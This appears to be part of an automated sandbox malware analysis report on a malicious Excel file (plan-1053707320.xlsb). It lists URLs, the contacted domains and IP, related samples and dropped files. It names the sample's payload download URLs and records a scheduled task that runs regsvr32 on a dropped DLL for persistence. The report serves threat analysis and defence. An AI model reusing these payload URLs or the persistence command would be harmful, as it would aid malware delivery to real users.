https://cortana.ai	0%	URL Reputation	safe
https://cortana.ai	0%	URL Reputation	safe
https://api.aadrm.com/	0%	URL Reputation	safe
https://api.aadrm.com/	0%	URL Reputation	safe
https://api.aadrm.com/	0%	URL Reputation	safe
https://api.aadrm.com/	0%	URL Reputation	safe
https://ofcrecsvcapi-int.azurewebsites.net/	0%	Virustotal		Browse
https://ofcrecsvcapi-int.azurewebsites.net/	0%	Avira URL Cloud	safe
https://gruasphenbogota.com/C74hwGGxi/ka.html	0%	Avira URL Cloud	safe
https://res.getmicrosoftkey.com/api/redemptionevents	0%	URL Reputation	safe
https://res.getmicrosoftkey.com/api/redemptionevents	0%	URL Reputation	safe
https://res.getmicrosoftkey.com/api/redemptionevents	0%	URL Reputation	safe
https://powerlift-frontdesk.acompli.net	0%	URL Reputation	safe
https://powerlift-frontdesk.acompli.net	0%	URL Reputation	safe
https://powerlift-frontdesk.acompli.net	0%	URL Reputation	safe
https://officeci.azurewebsites.net/api/	0%	Avira URL Cloud	safe
https://store.office.cn/addinstemplate	0%	URL Reputation	safe
https://store.office.cn/addinstemplate	0%	URL Reputation	safe
https://store.office.cn/addinstemplate	0%	URL Reputation	safe
https://store.officeppe.com/addinstemplate	0%	URL Reputation	safe
https://store.officeppe.com/addinstemplate	0%	URL Reputation	safe
https://store.officeppe.com/addinstemplate	0%	URL Reputation	safe
https://dev0-api.acompli.net/autodetect	0%	URL Reputation	safe
https://dev0-api.acompli.net/autodetect	0%	URL Reputation	safe
https://dev0-api.acompli.net/autodetect	0%	URL Reputation	safe
https://www.odwebp.svc.ms	0%	URL Reputation	safe
https://www.odwebp.svc.ms	0%	URL Reputation	safe
https://www.odwebp.svc.ms	0%	URL Reputation	safe
https://dataservice.o365filtering.com/	0%	URL Reputation	safe
https://dataservice.o365filtering.com/	0%	URL Reputation	safe
https://dataservice.o365filtering.com/	0%	URL Reputation	safe
https://officesetup.getmicrosoftkey.com	0%	URL Reputation	safe
https://officesetup.getmicrosoftkey.com	0%	URL Reputation	safe
https://officesetup.getmicrosoftkey.com	0%	URL Reputation	safe
https://prod-global-autodetect.acompli.net/autodetect	0%	URL Reputation	safe
https://prod-global-autodetect.acompli.net/autodetect	0%	URL Reputation	safe
https://prod-global-autodetect.acompli.net/autodetect	0%	URL Reputation	safe
https://ncus.contentsync.	0%	URL Reputation	safe
https://ncus.contentsync.	0%	URL Reputation	safe
https://ncus.contentsync.	0%	URL Reputation	safe
https://apis.live.net/v5.0/	0%	URL Reputation	safe
https://apis.live.net/v5.0/	0%	URL Reputation	safe
https://apis.live.net/v5.0/	0%	URL Reputation	safe
https://wus2.contentsync.	0%	URL Reputation	safe
https://wus2.contentsync.	0%	URL Reputation	safe
https://wus2.contentsync.	0%	URL Reputation	safe
https://asgsmsproxyapi.azurewebsites.net/	0%	Avira URL Cloud	safe
https://carpascapital.com/gBPg8MtsGbv/ka.html%	0%	Avira URL Cloud	safe
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile	0%	URL Reputation	safe
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile	0%	URL Reputation	safe
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile	0%	URL Reputation	safe
https://ncus.pagecontentsync.	0%	URL Reputation	safe
https://ncus.pagecontentsync.	0%	URL Reputation	safe
https://ncus.pagecontentsync.	0%	URL Reputation	safe
https://skyapi.live.net/Activity/	0%	URL Reputation	safe
https://skyapi.live.net/Activity/	0%	URL Reputation	safe
https://skyapi.live.net/Activity/	0%	URL Reputation	safe
https://dataservice.o365filtering.com	0%	URL Reputation	safe
https://dataservice.o365filtering.com	0%	URL Reputation	safe
https://dataservice.o365filtering.com	0%	URL Reputation	safe
https://api.cortana.ai	0%	URL Reputation	safe
https://api.cortana.ai	0%	URL Reputation	safe
https://api.cortana.ai	0%	URL Reputation	safe
https://ovisualuiapp.azurewebsites.net/pbiagave/	0%	Avira URL Cloud	safe
https://directory.services.	0%	URL Reputation	safe
https://directory.services.	0%	URL Reputation	safe
https://directory.services.	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
carpascapital.com	50.116.92.246	true	false	2%, Virustotal, Browse	unknown
gruasphenbogota.com	50.116.92.246	true	false	2%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.diagnosticssdf.office.com	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://login.microsoftonline.com/	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://shell.suite.office.com:1443	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://autodiscover-s.outlook.com/	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://cdn.entity.	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://api.addins.omex.office.net/appinfo/query	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://clients.config.office.net/user/v1.0/tenantassociationkey	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://powerlift.acompli.net	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://rpsticket.partnerservices.getmicrosoftkey.com	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://lookup.onenote.com/lookup/geolocation/v1	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://cortana.ai	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://cloudfiles.onenote.com/upload.aspx	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://entitlement.diagnosticssdf.office.com	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://api.aadrm.com/	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://ofcrecsvcapi-int.azurewebsites.net/	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://api.microsoftstream.com/api/	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://cr.office.com	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://gruasphenbogota.com/C74hwGGxi/ka.html	intlsheet1.bin	false	Avira URL Cloud: safe	unknown
https://portal.office.com/account/?ref=ClientMeControl	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://graph.ppe.windows.net	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://res.getmicrosoftkey.com/api/redemptionevents	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://powerlift-frontdesk.acompli.net	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://tasks.office.com	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://officeci.azurewebsites.net/api/	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false	Avira URL Cloud: safe	unknown
https://sr.outlook.office.net/ws/speech/recognize/assistant/work	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://store.office.cn/addinstemplate	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://outlook.office.com/autosuggest/api/v1/init?cvid=	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://globaldisco.crm.dynamics.com	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://store.officeppe.com/addinstemplate	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://dev0-api.acompli.net/autodetect	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.odwebp.svc.ms	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://api.powerbi.com/v1.0/myorg/groups	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://web.microsoftstream.com/video/	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://graph.windows.net	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://dataservice.o365filtering.com/	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://officesetup.getmicrosoftkey.com	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://analysis.windows.net/powerbi/api	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://prod-global-autodetect.acompli.net/autodetect	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://outlook.office365.com/autodiscover/autodiscover.json	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://ncus.contentsync.	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
http://weather.service.msn.com/data.aspx	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://apis.live.net/v5.0/	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://management.azure.com	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://wus2.contentsync.	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://incidents.diagnostics.office.com	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://clients.config.office.net/user/v1.0/ios	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://insertmedia.bing.office.net/odc/insertmedia	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://o365auditrealtimeingestion.manage.office.com	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://outlook.office365.com/api/v1.0/me/Activities	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://api.office.net	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://incidents.diagnosticssdf.office.com	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://asgsmsproxyapi.azurewebsites.net/	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false	Avira URL Cloud: safe	unknown
https://clients.config.office.net/user/v1.0/android/policies	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://entitlement.diagnostics.office.com	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://outlook.office.com/	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://storage.live.com/clientlogs/uploadlocation	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://templatelogging.office.com/client/log	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://outlook.office365.com/	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://webshell.suite.office.com	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://carpascapital.com/gBPg8MtsGbv/ka.html%	intlsheet1.bin	false	Avira URL Cloud: safe	unknown
https://management.azure.com/	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://login.windows.net/common/oauth2/authorize	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://graph.windows.net/	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://api.powerbi.com/beta/myorg/imports	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://devnull.onenote.com	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://ncus.pagecontentsync.	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://messaging.office.com/	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://augloop.office.com/v2	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://skyapi.live.net/Activity/	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://clients.config.office.net/user/v1.0/mac	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://dataservice.o365filtering.com	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://api.cortana.ai	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://onedrive.live.com	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://ovisualuiapp.azurewebsites.net/pbiagave/	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false	Avira URL Cloud: safe	unknown
https://visio.uservoice.com/forums/368202-visio-on-devices	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high
https://directory.services.	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://login.windows-ppe.net/common/oauth2/authorize	A1BC798F-5F72-4EA3-BE7B-898818256BFB.0.dr	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
50.116.92.246	carpascapital.com	United States		46606	UNIFIEDLAYER-AS-1US	false

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	440113
Start date:	24.06.2021
Start time:	20:50:58
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	plan-1053707320.xlsb
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	33
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winXLSB@20/19@2/1
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 60.8% (good quality ratio 57.1%) Quality average: 79% Quality standard deviation: 28.6%
HCA Information:	Successful, ratio: 81% Number of executed functions: 81 Number of non-executed functions: 73
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xlsb Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, WerFault.exe, wermgr.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 92.122.145.220, 13.64.90.137, 13.88.21.125, 52.109.32.63, 52.109.12.23, 20.82.210.154, 52.147.198.201, 20.54.104.15, 20.54.7.98, 40.112.88.60, 173.222.108.210, 173.222.108.226, 80.67.82.235, 80.67.82.211, 20.50.102.62, 20.190.159.133, 20.190.159.131, 40.126.31.140, 40.126.31.3, 40.126.31.138, 40.126.31.2, 20.190.159.135, 20.190.159.137, 52.255.188.83 Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, prod-w.nexus.live.com.akadns.net, store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a1449.dscg2.akamai.net, arc.msn.com, consumerrp-displaycatalog-aks2eap-europe.md.mp.microsoft.com.akadns.net, www.tm.a.prd.aadg.trafficmanager.net, e12564.dspb.akamaiedge.net, login.live.com, audownload.windowsupdate.nsatc.net, nexus.officeapps.live.com, arc.trafficmanager.net, officeclient.microsoft.com, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, au-bg-shim.trafficmanager.net, skypedataprdcolwus17.cloudapp.net, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, prod.configsvc1.live.com.akadns.net, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, ctldl.windowsupdate.com, a767.dscg3.akamai.net, consumerrp-displaycatalog-aks2aks-europe.md.mp.microsoft.com.akadns.net, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, login.msa.msidentity.com, skypedataprdcoleus16.cloudapp.net, ris.api.iris.microsoft.com, skypedataprdcoleus17.cloudapp.net, store-images.s-microsoft.com, config.officeapps.live.com, blobcollector.events.data.trafficmanager.net, skypedataprdcolwus15.cloudapp.net, europe.configsvc1.live.com.akadns.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net, neu-consumerrp-displaycatalog-aks2aks-europe.md.mp.microsoft.com.akadns.net, www.tm.lg.prod.aadmsa.trafficmanager.net Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information.

Simulations

Behavior and APIs

Time	Type	Description
20:52:13	Task Scheduler	Run new task: wtdsqwcv path: regsvr32.exe s>-s "C:\Users\user\gihi1.dll"

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
50.116.92.246	plan-1053707320.xlsb	Get hash	malicious	Browse
	plan-930205822.xlsb	Get hash	malicious	Browse
	plan-277786552.xlsb	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
carpascapital.com	plan-930205822.xlsb	Get hash	malicious	Browse	50.116.92.246
carpascapital.com	plan-277786552.xlsb	Get hash	malicious	Browse	50.116.92.246
gruasphenbogota.com	plan-1053707320.xlsb	Get hash	malicious	Browse	50.116.92.246
	plan-930205822.xlsb	Get hash	malicious	Browse	50.116.92.246
	plan-277786552.xlsb	Get hash	malicious	Browse	50.116.92.246

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
UNIFIEDLAYER-AS-1US	plan-1053707320.xlsb	Get hash	malicious	Browse	50.116.92.246
	factura y factura de la v#U00eda a#U00e9rea.exe	Get hash	malicious	Browse	74.220.199.6
	T5gtQGRL8u.exe	Get hash	malicious	Browse	162.241.135.156
	PO 74230360.xlsb	Get hash	malicious	Browse	162.241.114.107
	PO 74230360.xlsb	Get hash	malicious	Browse	162.241.114.107
	PO 74230360.xlsb	Get hash	malicious	Browse	162.241.114.107
	plan-930205822.xlsb	Get hash	malicious	Browse	50.116.92.246
	7UXBXIr31E.exe	Get hash	malicious	Browse	192.185.198.10
	TW8o2zNu2Q.exe	Get hash	malicious	Browse	50.116.109.135
	xwKdahKPn8.exe	Get hash	malicious	Browse	108.167.164.216
	plan-277786552.xlsb	Get hash	malicious	Browse	50.116.92.246
	Order.exe	Get hash	malicious	Browse	108.167.183.94
	0rder-bcm_23062021.exe	Get hash	malicious	Browse	50.87.249.240
	wdxYcFUCJV.exe	Get hash	malicious	Browse	74.220.199.6
	Inv 820984.xlsb	Get hash	malicious	Browse	162.144.12.168
	N0vpYgIYpv.exe	Get hash	malicious	Browse	162.241.216.218
	droxoUY6SU.exe	Get hash	malicious	Browse	192.185.185.25
	idea-22543577.xlsm	Get hash	malicious	Browse	108.167.165.249
	idea-22543577.xlsm	Get hash	malicious	Browse	108.167.165.249
	Fra8994.exe	Get hash	malicious	Browse	162.241.60.126

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
37f463bf4616ecd445d4a1937da06e19	plan-1053707320.xlsb	Get hash	malicious	Browse	50.116.92.246
	Oqq8nQNRt0.exe	Get hash	malicious	Browse	50.116.92.246
	DocuSign-June-SOA-Dues.261.htm	Get hash	malicious	Browse	50.116.92.246
	Invoice 715320 paul@forthebiome.com.html	Get hash	malicious	Browse	50.116.92.246
	Quote Requirment R2106131401 .docx	Get hash	malicious	Browse	50.116.92.246
	h2GeNTLcFz.xls	Get hash	malicious	Browse	50.116.92.246
	iLNAALfs8Y.exe	Get hash	malicious	Browse	50.116.92.246
	OsAwg7NTuy.exe	Get hash	malicious	Browse	50.116.92.246
	Terms and Conditions pdf.exe	Get hash	malicious	Browse	50.116.92.246
	887cPpO46m.exe	Get hash	malicious	Browse	50.116.92.246
	Lista degli ordini.exe	Get hash	malicious	Browse	50.116.92.246
	GDiwiEVONn.exe	Get hash	malicious	Browse	50.116.92.246
	L6AaziH5ts.exe	Get hash	malicious	Browse	50.116.92.246
	L6AaziH5ts.exe	Get hash	malicious	Browse	50.116.92.246
	A7DmPhc0bs.exe	Get hash	malicious	Browse	50.116.92.246
	Invoice_634000.html	Get hash	malicious	Browse	50.116.92.246
	Redoslijed na popisu.exe	Get hash	malicious	Browse	50.116.92.246
	LtmQGHQsK1.exe	Get hash	malicious	Browse	50.116.92.246
	plan-930205822.xlsb	Get hash	malicious	Browse	50.116.92.246
	mCzW1o1ZtQ.exe	Get hash	malicious	Browse	50.116.92.246

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_regsvr32.exe_d6c4e44bbad4515086a963364165f93d4a33398_7a325c51_13ef4904\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	11460
Entropy (8bit):	3.7741173117335585
Encrypted:	false
SSDEEP:	192:zzclb6VwcH/RS5uGXx3RjetA/u7saS274ItUt:Pch6VT/RS5n3jeC/u7saX4ItUt
MD5:	15F762162A144362E720C1547D2B9C20
SHA1:	07C57885EBAD5FBAEE82E3A63852A00823C1B542
SHA-256:	2C61000AF99003333633BAFF4D9233C38AA4A4FD5F759920116E3FFD847B89D8
SHA-512:	CE261BC172FE673A2BBAC8B4101DD643CF51954747DB7C93D780AE333461D4BEAA41B07D9591407A111F77DACE3E4B307CA5C623E64796ED58422FF4C6B171E0
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.6.9.0.3.4.3.3.9.2.6.2.4.2.2.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.f.8.3.d.b.4.2.-.1.a.3.7.-.4.4.1.4.-.a.2.5.1.-.3.6.0.3.5.8.a.2.0.6.a.7.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.d.c.1.3.a.9.6.-.8.4.0.8.-.4.2.b.b.-.9.5.0.9.-.b.c.d.c.7.b.9.d.1.6.9.f.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.r.e.g.s.v.r.3.2...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.E.G.S.V.R.3.2...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.b.4.-.0.0.0.0.-.0.0.1.b.-.1.1.f.1.-.b.e.0.b.2.a.6.9.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.8.8.6.3.0.f.6.0.e.7.3.4.5.4.6.7.0.a.7.d.9.b.6.4.c.9.8.b.4.7.9.8.d.1.d.e.8.8.7.2.!.r.e.g.s.v.r.3.2...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.1.9.7.1././.0.4././.0.9.:.1.7.:.2.8.:.2.3.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_regsvr32.exe_d6c4e44bbad4515086a963364165f93d4a33398_7a325c51_18b8e3a9\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	11464
Entropy (8bit):	3.773207090548546
Encrypted:	false
SSDEEP:	192:Gzc1Gb6VrcH/RS5uGXx3RjetA/u7szS274ItU3:Acm6VY/RS5n3jeC/u7szX4ItU3
MD5:	B8504E07BB98A9D64FDEFBDF41F194D5
SHA1:	202315861F4D0805683956B4421BEC4844871BA0
SHA-256:	C0CA2062F7E533046149967CF764CBB505F0FB7D8FC8D0A9381B4C6665ABA9EF
SHA-512:	1B06CC46BECB26BF63C31F242165B2A634EC8B393F1D3807868E9BF836D7EF05041DBB3230229D1E6E1E17EDF7D8C04BD0884F9B70654046CE863E737B2A77DB
Malicious:	false
